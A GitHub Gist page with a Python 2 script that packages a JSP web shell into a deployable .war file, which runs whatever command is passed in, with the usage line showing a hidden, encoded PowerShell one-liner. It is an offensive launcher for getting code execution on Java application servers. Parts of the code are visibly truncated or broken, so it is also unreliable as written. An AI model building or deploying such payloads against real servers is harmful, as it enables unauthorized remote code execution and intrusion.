Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
# Code that quickly generates a deployable .war for a PowerShell one-liner
import zipfile
import StringIO
import sys
def generatePsWar(psCmd, appName):
# .war manifest
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_35 (Sun Microsystems Inc.)\r\n\r\n"
# Create initial JSP and Web XML Strings with placeholders
jspCode = '''<%@ page import="*" %>
Process p=Runtime.getRuntime().exec("'''+str(psCmd)+'''");
# .xml deployment config
wxmlCode = '''<?xml version="1.0"?>
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
''' %(appName, appName)
# build the in-memory ZIP and write the three files in
warFile = StringIO.StringIO()
zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED)
zipData.writestr("META-INF/MANIFEST.MF", manifest)
zipData.writestr("WEB-INF/web.xml", wxmlCode)
zipData.writestr(appName + ".jsp", jspCode)
return warFile.getvalue()
if len(sys.argv) != 2:
print "\nUsage: ./ 'powershell -w hidden -nop -enc BLAH'\n"
war = generatePsWar(sys.argv[1], 'launcher')
f = open("launcher.war", 'wb')
print "\nLauncher WAR written to launcher.war\n"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.